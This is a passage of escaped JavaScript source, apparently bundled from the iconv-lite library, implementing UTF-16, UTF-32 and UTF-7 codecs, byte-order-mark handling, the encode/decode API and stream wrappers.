1),\n i = 0, j = 0;\n\n if (this.overflowByte !== -1) {\n buf2[0] = buf[0];\n buf2[1] = this.overflowByte;\n i = 1; j = 2;\n }\n\n for (; i < buf.length-1; i += 2, j+= 2) {\n buf2[j] = buf[i+1];\n buf2[j+1] = buf[i];\n }\n\n this.overflowByte = (i == buf.length-1) ? buf[buf.length-1] : -1;\n\n return buf2.slice(0, j).toString('ucs2');\n}\n\nUtf16BEDecoder.prototype.end = function() {\n this.overflowByte = -1;\n}\n\n\n// == UTF-16 codec =============================================================\n// Decoder chooses automatically from UTF-16LE and UTF-16BE using BOM and space-based heuristic.\n// Defaults to UTF-16LE, as it's prevalent and default in Node.\n// http://en.wikipedia.org/wiki/UTF-16 and http://encoding.spec.whatwg.org/#utf-16le\n// Decoder default can be changed: iconv.decode(buf, 'utf16', {defaultEncoding: 'utf-16be'});\n\n// Encoder uses UTF-16LE and prepends BOM (which can be overridden with addBOM: false).\n\nexports.utf16 = Utf16Codec;\nfunction Utf16Codec(codecOptions, iconv) {\n this.iconv = iconv;\n}\n\nUtf16Codec.prototype.encoder = Utf16Encoder;\nUtf16Codec.prototype.decoder = Utf16Decoder;\n\n\n// -- Encoding (pass-through)\n\nfunction Utf16Encoder(options, codec) {\n options = options || {};\n if (options.addBOM === undefined)\n options.addBOM = true;\n this.encoder = codec.iconv.getEncoder('utf-16le', options);\n}\n\nUtf16Encoder.prototype.write = function(str) {\n return this.encoder.write(str);\n}\n\nUtf16Encoder.prototype.end = function() {\n return this.encoder.end();\n}\n\n\n// -- Decoding\n\nfunction Utf16Decoder(options, codec) {\n this.decoder = null;\n this.initialBufs = [];\n this.initialBufsLen = 0;\n\n this.options = options || {};\n this.iconv = codec.iconv;\n}\n\nUtf16Decoder.prototype.write = function(buf) {\n if (!this.decoder) {\n // Codec is not chosen yet. Accumulate initial bytes.\n this.initialBufs.push(buf);\n this.initialBufsLen += buf.length;\n \n if (this.initialBufsLen < 16) // We need more bytes to use space heuristic (see below)\n return '';\n\n // We have enough bytes -> detect endianness.\n var encoding = detectEncoding(this.initialBufs, this.options.defaultEncoding);\n this.decoder = this.iconv.getDecoder(encoding, this.options);\n\n var resStr = '';\n for (var i = 0; i < this.initialBufs.length; i++)\n resStr += this.decoder.write(this.initialBufs[i]);\n\n this.initialBufs.length = this.initialBufsLen = 0;\n return resStr;\n }\n\n return this.decoder.write(buf);\n}\n\nUtf16Decoder.prototype.end = function() {\n if (!this.decoder) {\n var encoding = detectEncoding(this.initialBufs, this.options.defaultEncoding);\n this.decoder = this.iconv.getDecoder(encoding, this.options);\n\n var resStr = '';\n for (var i = 0; i < this.initialBufs.length; i++)\n resStr += this.decoder.write(this.initialBufs[i]);\n\n var trail = this.decoder.end();\n if (trail)\n resStr += trail;\n\n this.initialBufs.length = this.initialBufsLen = 0;\n return resStr;\n }\n return this.decoder.end();\n}\n\nfunction detectEncoding(bufs, defaultEncoding) {\n var b = [];\n var charsProcessed = 0;\n var asciiCharsLE = 0, asciiCharsBE = 0; // Number of ASCII chars when decoded as LE or BE.\n\n outer_loop:\n for (var i = 0; i < bufs.length; i++) {\n var buf = bufs[i];\n for (var j = 0; j < buf.length; j++) {\n b.push(buf[j]);\n if (b.length === 2) {\n if (charsProcessed === 0) {\n // Check BOM first.\n if (b[0] === 0xFF && b[1] === 0xFE) return 'utf-16le';\n if (b[0] === 0xFE && b[1] === 0xFF) return 'utf-16be';\n }\n\n if (b[0] === 0 && b[1] !== 0) asciiCharsBE++;\n if (b[0] !== 0 && b[1] === 0) asciiCharsLE++;\n\n b.length = 0;\n charsProcessed++;\n\n if (charsProcessed >= 100) {\n break outer_loop;\n }\n }\n }\n }\n\n // Make decisions.\n // Most of the time, the content has ASCII chars (U+00**), but the opposite (U+**00) is uncommon.\n // So, we count ASCII as if it was LE or BE, and decide from that.\n if (asciiCharsBE > asciiCharsLE) return 'utf-16be';\n if (asciiCharsBE < asciiCharsLE) return 'utf-16le';\n\n // Couldn't decide (likely all zeros or not enough data).\n return defaultEncoding || 'utf-16le';\n}\n\n\n","'use strict';\n\nvar Buffer = require('safer-buffer').Buffer;\n\n// == UTF32-LE/BE codec. ==========================================================\n\nexports._utf32 = Utf32Codec;\n\nfunction Utf32Codec(codecOptions, iconv) {\n this.iconv = iconv;\n this.bomAware = true;\n this.isLE = codecOptions.isLE;\n}\n\nexports.utf32le = { type: '_utf32', isLE: true };\nexports.utf32be = { type: '_utf32', isLE: false };\n\n// Aliases\nexports.ucs4le = 'utf32le';\nexports.ucs4be = 'utf32be';\n\nUtf32Codec.prototype.encoder = Utf32Encoder;\nUtf32Codec.prototype.decoder = Utf32Decoder;\n\n// -- Encoding\n\nfunction Utf32Encoder(options, codec) {\n this.isLE = codec.isLE;\n this.highSurrogate = 0;\n}\n\nUtf32Encoder.prototype.write = function(str) {\n var src = Buffer.from(str, 'ucs2');\n var dst = Buffer.alloc(src.length * 2);\n var write32 = this.isLE ? dst.writeUInt32LE : dst.writeUInt32BE;\n var offset = 0;\n\n for (var i = 0; i < src.length; i += 2) {\n var code = src.readUInt16LE(i);\n var isHighSurrogate = (0xD800 <= code && code < 0xDC00);\n var isLowSurrogate = (0xDC00 <= code && code < 0xE000);\n\n if (this.highSurrogate) {\n if (isHighSurrogate || !isLowSurrogate) {\n // There shouldn't be two high surrogates in a row, nor a high surrogate which isn't followed by a low\n // surrogate. If this happens, keep the pending high surrogate as a stand-alone semi-invalid character\n // (technically wrong, but expected by some applications, like Windows file names).\n write32.call(dst, this.highSurrogate, offset);\n offset += 4;\n }\n else {\n // Create 32-bit value from high and low surrogates;\n var codepoint = (((this.highSurrogate - 0xD800) << 10) | (code - 0xDC00)) + 0x10000;\n\n write32.call(dst, codepoint, offset);\n offset += 4;\n this.highSurrogate = 0;\n\n continue;\n }\n }\n\n if (isHighSurrogate)\n this.highSurrogate = code;\n else {\n // Even if the current character is a low surrogate, with no previous high surrogate, we'll\n // encode it as a semi-invalid stand-alone character for the same reasons expressed above for\n // unpaired high surrogates.\n write32.call(dst, code, offset);\n offset += 4;\n this.highSurrogate = 0;\n }\n }\n\n if (offset < dst.length)\n dst = dst.slice(0, offset);\n\n return dst;\n};\n\nUtf32Encoder.prototype.end = function() {\n // Treat any leftover high surrogate as a semi-valid independent character.\n if (!this.highSurrogate)\n return;\n\n var buf = Buffer.alloc(4);\n\n if (this.isLE)\n buf.writeUInt32LE(this.highSurrogate, 0);\n else\n buf.writeUInt32BE(this.highSurrogate, 0);\n\n this.highSurrogate = 0;\n\n return buf;\n};\n\n// -- Decoding\n\nfunction Utf32Decoder(options, codec) {\n this.isLE = codec.isLE;\n this.badChar = codec.iconv.defaultCharUnicode.charCodeAt(0);\n this.overflow = [];\n}\n\nUtf32Decoder.prototype.write = function(src) {\n if (src.length === 0)\n return '';\n\n var i = 0;\n var codepoint = 0;\n var dst = Buffer.alloc(src.length + 4);\n var offset = 0;\n var isLE = this.isLE;\n var overflow = this.overflow;\n var badChar = this.badChar;\n\n if (overflow.length > 0) {\n for (; i < src.length && overflow.length < 4; i++)\n overflow.push(src[i]);\n \n if (overflow.length === 4) {\n // NOTE: codepoint is a signed int32 and can be negative.\n // NOTE: We copied this block from below to help V8 optimize it (it works with array, not buffer).\n if (isLE) {\n codepoint = overflow[i] | (overflow[i+1] << 8) | (overflow[i+2] << 16) | (overflow[i+3] << 24);\n } else {\n codepoint = overflow[i+3] | (overflow[i+2] << 8) | (overflow[i+1] << 16) | (overflow[i] << 24);\n }\n overflow.length = 0;\n\n offset = _writeCodepoint(dst, offset, codepoint, badChar);\n }\n }\n\n // Main loop. Should be as optimized as possible.\n for (; i < src.length - 3; i += 4) {\n // NOTE: codepoint is a signed int32 and can be negative.\n if (isLE) {\n codepoint = src[i] | (src[i+1] << 8) | (src[i+2] << 16) | (src[i+3] << 24);\n } else {\n codepoint = src[i+3] | (src[i+2] << 8) | (src[i+1] << 16) | (src[i] << 24);\n }\n offset = _writeCodepoint(dst, offset, codepoint, badChar);\n }\n\n // Keep overflowing bytes.\n for (; i < src.length; i++) {\n overflow.push(src[i]);\n }\n\n return dst.slice(0, offset).toString('ucs2');\n};\n\nfunction _writeCodepoint(dst, offset, codepoint, badChar) {\n // NOTE: codepoint is signed int32 and can be negative. We keep it that way to help V8 with optimizations.\n if (codepoint < 0 || codepoint > 0x10FFFF) {\n // Not a valid Unicode codepoint\n codepoint = badChar;\n } \n\n // Ephemeral Planes: Write high surrogate.\n if (codepoint >= 0x10000) {\n codepoint -= 0x10000;\n\n var high = 0xD800 | (codepoint >> 10);\n dst[offset++] = high & 0xff;\n dst[offset++] = high >> 8;\n\n // Low surrogate is written below.\n var codepoint = 0xDC00 | (codepoint & 0x3FF);\n }\n\n // Write BMP char or low surrogate.\n dst[offset++] = codepoint & 0xff;\n dst[offset++] = codepoint >> 8;\n\n return offset;\n};\n\nUtf32Decoder.prototype.end = function() {\n this.overflow.length = 0;\n};\n\n// == UTF-32 Auto codec =============================================================\n// Decoder chooses automatically from UTF-32LE and UTF-32BE using BOM and space-based heuristic.\n// Defaults to UTF-32LE. http://en.wikipedia.org/wiki/UTF-32\n// Encoder/decoder default can be changed: iconv.decode(buf, 'utf32', {defaultEncoding: 'utf-32be'});\n\n// Encoder prepends BOM (which can be overridden with (addBOM: false}).\n\nexports.utf32 = Utf32AutoCodec;\nexports.ucs4 = 'utf32';\n\nfunction Utf32AutoCodec(options, iconv) {\n this.iconv = iconv;\n}\n\nUtf32AutoCodec.prototype.encoder = Utf32AutoEncoder;\nUtf32AutoCodec.prototype.decoder = Utf32AutoDecoder;\n\n// -- Encoding\n\nfunction Utf32AutoEncoder(options, codec) {\n options = options || {};\n\n if (options.addBOM === undefined)\n options.addBOM = true;\n\n this.encoder = codec.iconv.getEncoder(options.defaultEncoding || 'utf-32le', options);\n}\n\nUtf32AutoEncoder.prototype.write = function(str) {\n return this.encoder.write(str);\n};\n\nUtf32AutoEncoder.prototype.end = function() {\n return this.encoder.end();\n};\n\n// -- Decoding\n\nfunction Utf32AutoDecoder(options, codec) {\n this.decoder = null;\n this.initialBufs = [];\n this.initialBufsLen = 0;\n this.options = options || {};\n this.iconv = codec.iconv;\n}\n\nUtf32AutoDecoder.prototype.write = function(buf) {\n if (!this.decoder) { \n // Codec is not chosen yet. Accumulate initial bytes.\n this.initialBufs.push(buf);\n this.initialBufsLen += buf.length;\n\n if (this.initialBufsLen < 32) // We need more bytes to use space heuristic (see below)\n return '';\n\n // We have enough bytes -> detect endianness.\n var encoding = detectEncoding(this.initialBufs, this.options.defaultEncoding);\n this.decoder = this.iconv.getDecoder(encoding, this.options);\n\n var resStr = '';\n for (var i = 0; i < this.initialBufs.length; i++)\n resStr += this.decoder.write(this.initialBufs[i]);\n\n this.initialBufs.length = this.initialBufsLen = 0;\n return resStr;\n }\n\n return this.decoder.write(buf);\n};\n\nUtf32AutoDecoder.prototype.end = function() {\n if (!this.decoder) {\n var encoding = detectEncoding(this.initialBufs, this.options.defaultEncoding);\n this.decoder = this.iconv.getDecoder(encoding, this.options);\n\n var resStr = '';\n for (var i = 0; i < this.initialBufs.length; i++)\n resStr += this.decoder.write(this.initialBufs[i]);\n\n var trail = this.decoder.end();\n if (trail)\n resStr += trail;\n\n this.initialBufs.length = this.initialBufsLen = 0;\n return resStr;\n }\n\n return this.decoder.end();\n};\n\nfunction detectEncoding(bufs, defaultEncoding) {\n var b = [];\n var charsProcessed = 0;\n var invalidLE = 0, invalidBE = 0; // Number of invalid chars when decoded as LE or BE.\n var bmpCharsLE = 0, bmpCharsBE = 0; // Number of BMP chars when decoded as LE or BE.\n\n outer_loop:\n for (var i = 0; i < bufs.length; i++) {\n var buf = bufs[i];\n for (var j = 0; j < buf.length; j++) {\n b.push(buf[j]);\n if (b.length === 4) {\n if (charsProcessed === 0) {\n // Check BOM first.\n if (b[0] === 0xFF && b[1] === 0xFE && b[2] === 0 && b[3] === 0) {\n return 'utf-32le';\n }\n if (b[0] === 0 && b[1] === 0 && b[2] === 0xFE && b[3] === 0xFF) {\n return 'utf-32be';\n }\n }\n\n if (b[0] !== 0 || b[1] > 0x10) invalidBE++;\n if (b[3] !== 0 || b[2] > 0x10) invalidLE++;\n\n if (b[0] === 0 && b[1] === 0 && (b[2] !== 0 || b[3] !== 0)) bmpCharsBE++;\n if ((b[0] !== 0 || b[1] !== 0) && b[2] === 0 && b[3] === 0) bmpCharsLE++;\n\n b.length = 0;\n charsProcessed++;\n\n if (charsProcessed >= 100) {\n break outer_loop;\n }\n }\n }\n }\n\n // Make decisions.\n if (bmpCharsBE - invalidBE > bmpCharsLE - invalidLE) return 'utf-32be';\n if (bmpCharsBE - invalidBE < bmpCharsLE - invalidLE) return 'utf-32le';\n\n // Couldn't decide (likely all zeros or not enough data).\n return defaultEncoding || 'utf-32le';\n}\n","\"use strict\";\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// UTF-7 codec, according to https://tools.ietf.org/html/rfc2152\n// See also below a UTF-7-IMAP codec, according to http://tools.ietf.org/html/rfc3501#section-5.1.3\n\nexports.utf7 = Utf7Codec;\nexports.unicode11utf7 = 'utf7'; // Alias UNICODE-1-1-UTF-7\nfunction Utf7Codec(codecOptions, iconv) {\n this.iconv = iconv;\n};\n\nUtf7Codec.prototype.encoder = Utf7Encoder;\nUtf7Codec.prototype.decoder = Utf7Decoder;\nUtf7Codec.prototype.bomAware = true;\n\n\n// -- Encoding\n\nvar nonDirectChars = /[^A-Za-z0-9'\\(\\),-\\.\\/:\\? \\n\\r\\t]+/g;\n\nfunction Utf7Encoder(options, codec) {\n this.iconv = codec.iconv;\n}\n\nUtf7Encoder.prototype.write = function(str) {\n // Naive implementation.\n // Non-direct chars are encoded as \"+-\"; single \"+\" char is encoded as \"+-\".\n return Buffer.from(str.replace(nonDirectChars, function(chunk) {\n return \"+\" + (chunk === '+' ? '' : \n this.iconv.encode(chunk, 'utf16-be').toString('base64').replace(/=+$/, '')) \n + \"-\";\n }.bind(this)));\n}\n\nUtf7Encoder.prototype.end = function() {\n}\n\n\n// -- Decoding\n\nfunction Utf7Decoder(options, codec) {\n this.iconv = codec.iconv;\n this.inBase64 = false;\n this.base64Accum = '';\n}\n\nvar base64Regex = /[A-Za-z0-9\\/+]/;\nvar base64Chars = [];\nfor (var i = 0; i < 256; i++)\n base64Chars[i] = base64Regex.test(String.fromCharCode(i));\n\nvar plusChar = '+'.charCodeAt(0), \n minusChar = '-'.charCodeAt(0),\n andChar = '&'.charCodeAt(0);\n\nUtf7Decoder.prototype.write = function(buf) {\n var res = \"\", lastI = 0,\n inBase64 = this.inBase64,\n base64Accum = this.base64Accum;\n\n // The decoder is more involved as we must handle chunks in stream.\n\n for (var i = 0; i < buf.length; i++) {\n if (!inBase64) { // We're in direct mode.\n // Write direct chars until '+'\n if (buf[i] == plusChar) {\n res += this.iconv.decode(buf.slice(lastI, i), \"ascii\"); // Write direct chars.\n lastI = i+1;\n inBase64 = true;\n }\n } else { // We decode base64.\n if (!base64Chars[buf[i]]) { // Base64 ended.\n if (i == lastI && buf[i] == minusChar) {// \"+-\" -> \"+\"\n res += \"+\";\n } else {\n var b64str = base64Accum + this.iconv.decode(buf.slice(lastI, i), \"ascii\");\n res += this.iconv.decode(Buffer.from(b64str, 'base64'), \"utf16-be\");\n }\n\n if (buf[i] != minusChar) // Minus is absorbed after base64.\n i--;\n\n lastI = i+1;\n inBase64 = false;\n base64Accum = '';\n }\n }\n }\n\n if (!inBase64) {\n res += this.iconv.decode(buf.slice(lastI), \"ascii\"); // Write direct chars.\n } else {\n var b64str = base64Accum + this.iconv.decode(buf.slice(lastI), \"ascii\");\n\n var canBeDecoded = b64str.length - (b64str.length % 8); // Minimal chunk: 2 quads -> 2x3 bytes -> 3 chars.\n base64Accum = b64str.slice(canBeDecoded); // The rest will be decoded in future.\n b64str = b64str.slice(0, canBeDecoded);\n\n res += this.iconv.decode(Buffer.from(b64str, 'base64'), \"utf16-be\");\n }\n\n this.inBase64 = inBase64;\n this.base64Accum = base64Accum;\n\n return res;\n}\n\nUtf7Decoder.prototype.end = function() {\n var res = \"\";\n if (this.inBase64 && this.base64Accum.length > 0)\n res = this.iconv.decode(Buffer.from(this.base64Accum, 'base64'), \"utf16-be\");\n\n this.inBase64 = false;\n this.base64Accum = '';\n return res;\n}\n\n\n// UTF-7-IMAP codec.\n// RFC3501 Sec. 5.1.3 Modified UTF-7 (http://tools.ietf.org/html/rfc3501#section-5.1.3)\n// Differences:\n// * Base64 part is started by \"&\" instead of \"+\"\n// * Direct characters are 0x20-0x7E, except \"&\" (0x26)\n// * In Base64, \",\" is used instead of \"/\"\n// * Base64 must not be used to represent direct characters.\n// * No implicit shift back from Base64 (should always end with '-')\n// * String must end in non-shifted position.\n// * \"-&\" while in base64 is not allowed.\n\n\nexports.utf7imap = Utf7IMAPCodec;\nfunction Utf7IMAPCodec(codecOptions, iconv) {\n this.iconv = iconv;\n};\n\nUtf7IMAPCodec.prototype.encoder = Utf7IMAPEncoder;\nUtf7IMAPCodec.prototype.decoder = Utf7IMAPDecoder;\nUtf7IMAPCodec.prototype.bomAware = true;\n\n\n// -- Encoding\n\nfunction Utf7IMAPEncoder(options, codec) {\n this.iconv = codec.iconv;\n this.inBase64 = false;\n this.base64Accum = Buffer.alloc(6);\n this.base64AccumIdx = 0;\n}\n\nUtf7IMAPEncoder.prototype.write = function(str) {\n var inBase64 = this.inBase64,\n base64Accum = this.base64Accum,\n base64AccumIdx = this.base64AccumIdx,\n buf = Buffer.alloc(str.length*5 + 10), bufIdx = 0;\n\n for (var i = 0; i < str.length; i++) {\n var uChar = str.charCodeAt(i);\n if (0x20 <= uChar && uChar <= 0x7E) { // Direct character or '&'.\n if (inBase64) {\n if (base64AccumIdx > 0) {\n bufIdx += buf.write(base64Accum.slice(0, base64AccumIdx).toString('base64').replace(/\\//g, ',').replace(/=+$/, ''), bufIdx);\n base64AccumIdx = 0;\n }\n\n buf[bufIdx++] = minusChar; // Write '-', then go to direct mode.\n inBase64 = false;\n }\n\n if (!inBase64) {\n buf[bufIdx++] = uChar; // Write direct character\n\n if (uChar === andChar) // Ampersand -> '&-'\n buf[bufIdx++] = minusChar;\n }\n\n } else { // Non-direct character\n if (!inBase64) {\n buf[bufIdx++] = andChar; // Write '&', then go to base64 mode.\n inBase64 = true;\n }\n if (inBase64) {\n base64Accum[base64AccumIdx++] = uChar >> 8;\n base64Accum[base64AccumIdx++] = uChar & 0xFF;\n\n if (base64AccumIdx == base64Accum.length) {\n bufIdx += buf.write(base64Accum.toString('base64').replace(/\\//g, ','), bufIdx);\n base64AccumIdx = 0;\n }\n }\n }\n }\n\n this.inBase64 = inBase64;\n this.base64AccumIdx = base64AccumIdx;\n\n return buf.slice(0, bufIdx);\n}\n\nUtf7IMAPEncoder.prototype.end = function() {\n var buf = Buffer.alloc(10), bufIdx = 0;\n if (this.inBase64) {\n if (this.base64AccumIdx > 0) {\n bufIdx += buf.write(this.base64Accum.slice(0, this.base64AccumIdx).toString('base64').replace(/\\//g, ',').replace(/=+$/, ''), bufIdx);\n this.base64AccumIdx = 0;\n }\n\n buf[bufIdx++] = minusChar; // Write '-', then go to direct mode.\n this.inBase64 = false;\n }\n\n return buf.slice(0, bufIdx);\n}\n\n\n// -- Decoding\n\nfunction Utf7IMAPDecoder(options, codec) {\n this.iconv = codec.iconv;\n this.inBase64 = false;\n this.base64Accum = '';\n}\n\nvar base64IMAPChars = base64Chars.slice();\nbase64IMAPChars[','.charCodeAt(0)] = true;\n\nUtf7IMAPDecoder.prototype.write = function(buf) {\n var res = \"\", lastI = 0,\n inBase64 = this.inBase64,\n base64Accum = this.base64Accum;\n\n // The decoder is more involved as we must handle chunks in stream.\n // It is forgiving, closer to standard UTF-7 (for example, '-' is optional at the end).\n\n for (var i = 0; i < buf.length; i++) {\n if (!inBase64) { // We're in direct mode.\n // Write direct chars until '&'\n if (buf[i] == andChar) {\n res += this.iconv.decode(buf.slice(lastI, i), \"ascii\"); // Write direct chars.\n lastI = i+1;\n inBase64 = true;\n }\n } else { // We decode base64.\n if (!base64IMAPChars[buf[i]]) { // Base64 ended.\n if (i == lastI && buf[i] == minusChar) { // \"&-\" -> \"&\"\n res += \"&\";\n } else {\n var b64str = base64Accum + this.iconv.decode(buf.slice(lastI, i), \"ascii\").replace(/,/g, '/');\n res += this.iconv.decode(Buffer.from(b64str, 'base64'), \"utf16-be\");\n }\n\n if (buf[i] != minusChar) // Minus may be absorbed after base64.\n i--;\n\n lastI = i+1;\n inBase64 = false;\n base64Accum = '';\n }\n }\n }\n\n if (!inBase64) {\n res += this.iconv.decode(buf.slice(lastI), \"ascii\"); // Write direct chars.\n } else {\n var b64str = base64Accum + this.iconv.decode(buf.slice(lastI), \"ascii\").replace(/,/g, '/');\n\n var canBeDecoded = b64str.length - (b64str.length % 8); // Minimal chunk: 2 quads -> 2x3 bytes -> 3 chars.\n base64Accum = b64str.slice(canBeDecoded); // The rest will be decoded in future.\n b64str = b64str.slice(0, canBeDecoded);\n\n res += this.iconv.decode(Buffer.from(b64str, 'base64'), \"utf16-be\");\n }\n\n this.inBase64 = inBase64;\n this.base64Accum = base64Accum;\n\n return res;\n}\n\nUtf7IMAPDecoder.prototype.end = function() {\n var res = \"\";\n if (this.inBase64 && this.base64Accum.length > 0)\n res = this.iconv.decode(Buffer.from(this.base64Accum, 'base64'), \"utf16-be\");\n\n this.inBase64 = false;\n this.base64Accum = '';\n return res;\n}\n\n\n","\"use strict\";\n\nvar BOMChar = '\\uFEFF';\n\nexports.PrependBOM = PrependBOMWrapper\nfunction PrependBOMWrapper(encoder, options) {\n this.encoder = encoder;\n this.addBOM = true;\n}\n\nPrependBOMWrapper.prototype.write = function(str) {\n if (this.addBOM) {\n str = BOMChar + str;\n this.addBOM = false;\n }\n\n return this.encoder.write(str);\n}\n\nPrependBOMWrapper.prototype.end = function() {\n return this.encoder.end();\n}\n\n\n//------------------------------------------------------------------------------\n\nexports.StripBOM = StripBOMWrapper;\nfunction StripBOMWrapper(decoder, options) {\n this.decoder = decoder;\n this.pass = false;\n this.options = options || {};\n}\n\nStripBOMWrapper.prototype.write = function(buf) {\n var res = this.decoder.write(buf);\n if (this.pass || !res)\n return res;\n\n if (res[0] === BOMChar) {\n res = res.slice(1);\n if (typeof this.options.stripBOM === 'function')\n this.options.stripBOM();\n }\n\n this.pass = true;\n return res;\n}\n\nStripBOMWrapper.prototype.end = function() {\n return this.decoder.end();\n}\n\n","\"use strict\";\n\nvar Buffer = require(\"safer-buffer\").Buffer;\n\nvar bomHandling = require(\"./bom-handling\"),\n iconv = module.exports;\n\n// All codecs and aliases are kept here, keyed by encoding name/alias.\n// They are lazy loaded in `iconv.getCodec` from `encodings/index.js`.\niconv.encodings = null;\n\n// Characters emitted in case of error.\niconv.defaultCharUnicode = '�';\niconv.defaultCharSingleByte = '?';\n\n// Public API.\niconv.encode = function encode(str, encoding, options) {\n str = \"\" + (str || \"\"); // Ensure string.\n\n var encoder = iconv.getEncoder(encoding, options);\n\n var res = encoder.write(str);\n var trail = encoder.end();\n \n return (trail && trail.length > 0) ? Buffer.concat([res, trail]) : res;\n}\n\niconv.decode = function decode(buf, encoding, options) {\n if (typeof buf === 'string') {\n if (!iconv.skipDecodeWarning) {\n console.error('Iconv-lite warning: decode()-ing strings is deprecated. Refer to https://github.com/ashtuchkin/iconv-lite/wiki/Use-Buffers-when-decoding');\n iconv.skipDecodeWarning = true;\n }\n\n buf = Buffer.from(\"\" + (buf || \"\"), \"binary\"); // Ensure buffer.\n }\n\n var decoder = iconv.getDecoder(encoding, options);\n\n var res = decoder.write(buf);\n var trail = decoder.end();\n\n return trail ? (res + trail) : res;\n}\n\niconv.encodingExists = function encodingExists(enc) {\n try {\n iconv.getCodec(enc);\n return true;\n } catch (e) {\n return false;\n }\n}\n\n// Legacy aliases to convert functions\niconv.toEncoding = iconv.encode;\niconv.fromEncoding = iconv.decode;\n\n// Search for a codec in iconv.encodings. Cache codec data in iconv._codecDataCache.\niconv._codecDataCache = {};\niconv.getCodec = function getCodec(encoding) {\n if (!iconv.encodings)\n iconv.encodings = require(\"../encodings\"); // Lazy load all encoding definitions.\n \n // Canonicalize encoding name: strip all non-alphanumeric chars and appended year.\n var enc = iconv._canonicalizeEncoding(encoding);\n\n // Traverse iconv.encodings to find actual codec.\n var codecOptions = {};\n while (true) {\n var codec = iconv._codecDataCache[enc];\n if (codec)\n return codec;\n\n var codecDef = iconv.encodings[enc];\n\n switch (typeof codecDef) {\n case \"string\": // Direct alias to other encoding.\n enc = codecDef;\n break;\n\n case \"object\": // Alias with options. Can be layered.\n for (var key in codecDef)\n codecOptions[key] = codecDef[key];\n\n if (!codecOptions.encodingName)\n codecOptions.encodingName = enc;\n \n enc = codecDef.type;\n break;\n\n case \"function\": // Codec itself.\n if (!codecOptions.encodingName)\n codecOptions.encodingName = enc;\n\n // The codec function must load all tables and return object with .encoder and .decoder methods.\n // It'll be called only once (for each different options object).\n codec = new codecDef(codecOptions, iconv);\n\n iconv._codecDataCache[codecOptions.encodingName] = codec; // Save it to be reused later.\n return codec;\n\n default:\n throw new Error(\"Encoding not recognized: '\" + encoding + \"' (searched as: '\"+enc+\"')\");\n }\n }\n}\n\niconv._canonicalizeEncoding = function(encoding) {\n // Canonicalize encoding name: strip all non-alphanumeric chars and appended year.\n return (''+encoding).toLowerCase().replace(/:\\d{4}$|[^0-9a-z]/g, \"\");\n}\n\niconv.getEncoder = function getEncoder(encoding, options) {\n var codec = iconv.getCodec(encoding),\n encoder = new codec.encoder(options, codec);\n\n if (codec.bomAware && options && options.addBOM)\n encoder = new bomHandling.PrependBOM(encoder, options);\n\n return encoder;\n}\n\niconv.getDecoder = function getDecoder(encoding, options) {\n var codec = iconv.getCodec(encoding),\n decoder = new codec.decoder(options, codec);\n\n if (codec.bomAware && !(options && options.stripBOM === false))\n decoder = new bomHandling.StripBOM(decoder, options);\n\n return decoder;\n}\n\n// Streaming API\n// NOTE: Streaming API naturally depends on 'stream' module from Node.js. Unfortunately in browser environments this module can add\n// up to 100Kb to the output bundle. To avoid unnecessary code bloat, we don't enable Streaming API in browser by default.\n// If you would like to enable it explicitly, please add the following code to your app:\n// > iconv.enableStreamingAPI(require('stream'));\niconv.enableStreamingAPI = function enableStreamingAPI(stream_module) {\n if (iconv.supportsStreams)\n return;\n\n // Dependency-inject stream module to create IconvLite stream classes.\n var streams = require(\"./streams\")(stream_module);\n\n // Not public API yet, but expose the stream classes.\n iconv.IconvLiteEncoderStream = streams.IconvLiteEncoderStream;\n iconv.IconvLiteDecoderStream = streams.IconvLiteDecoderStream;\n\n // Streaming API.\n iconv.encodeStream = function encodeStream(encoding, options) {\n return new iconv.IconvLiteEncoderStream(iconv.getEncoder(encoding, options), options);\n }\n\n iconv.decodeStream = function decodeStream(encoding, options) {\n return new iconv.IconvLiteDecoderStream(iconv.getDecoder(encoding, options), options);\n }\n\n iconv.supportsStreams = true;\n}\n\n// Enable Streaming API automatically if 'stream' module is available and non-empty (the majority of environments).\nvar stream_module;\ntry {\n stream_module = require(\"stream\");\n} catch (e) {}\n\nif (stream_module && stream_module.Transform) {\n iconv.enableStreamingAPI(stream_module);\n\n} else {\n // In rare cases where 'stream' module is not available by default, throw a helpful exception.\n iconv.encodeStream = iconv.decodeStream = function() {\n throw new Error(\"iconv-lite Streaming API is not enabled. Use iconv.enableStreamingAPI(require('stream')); to enable it.\");\n };\n}\n\nif (\"Ā\" != \"\\u0100\") {\n console.error(\"iconv-lite warning: js files use non-utf8 encoding. See https://github.com/ashtuchkin/iconv-lite/wiki/Javascript-source-file-encodings for more info.\");\n}\n","\"use strict\";\n\nvar Buffer = require(\"safer-buffer\").Buffer;\n\n// NOTE: Due to 'stream' module being pretty large (~100Kb, significant in browser environments), \n// we opt to dependency-inject it instead of creating a hard dependency.\nmodule.exports = function(stream_module) {\n var Transform = stream_module.Transform;\n\n // == Encoder stream =======================================================\n\n function IconvLiteEncoderStream(conv, options) {\n this.conv = conv;\n options = options || {};\n options.decodeStrings = false; // We accept only strings, so we don't need to decode them.\n Transform.call(this, options);\n }\n\n IconvLiteEncoderStream.prototype = Object.create(Transform.prototype, {\n constructor: { value: IconvLiteEncoderStream }\n });\n\n IconvLiteEncoderStream.prototype._transform = function(chunk, encoding, done) {\n if (typeof chunk != 'string')\n return done(new Error(\"Iconv encoding stream needs strings as its input.\"));\n try {\n var res = this.conv.write(chunk);\n if (res && res.length) this.push(res);\n done();\n }\n catch (e) {\n done(e);\n }\n }\n\n IconvLiteEncoderStream.prototype._flush = function(done) {\n try {\n var res = this.conv.end();\n if (res && res.length) this.push(res);\n done();\n }\n catch (e) {\n done(e);\n }\n }\n\n IconvLiteEncoderStream.prototype.collect = function(cb) {\n var chunks = [];\n this.on('error', cb);\n this.on('data', function(chunk) { chunks.push(chunk); });\n this.on('end', function() {\n cb(null, Buffer.concat(chunks));\n });\n return this;\n }\n\n\n // == Decoder stream =======================================================\n\n function IconvLiteDecoderStream(conv, options) {\n this.conv = conv;\n options = options || {};\n options.encoding = this.encoding = 'utf8'; // We output strings.\n Transform.call(this, options);\n }\n\n IconvLiteDecoderStream.prototype = Object.create(Transform.prototype, {\n constructor: { value: IconvLiteDecoderStream }\n });\n\n IconvLiteDecoderStream.prototype._transform = function(chunk, encoding, done) {\n if (!Buffer.isBuffer(chunk) && !(chunk instanceof Uint8Array))\n return done(new Error(\"Iconv decoding stream needs buffers as its input.\"));\n try {\n var res = this.conv.write(chunk);\n if (res && res.length) this.push(res, this.encoding);\n done();\n }\n catch (e) {\n done(e);\n }\n }\n\n IconvLiteDecoderStream.prototype._flush = function(done) {\n try {\n var res = this.conv.end();\n if (res && 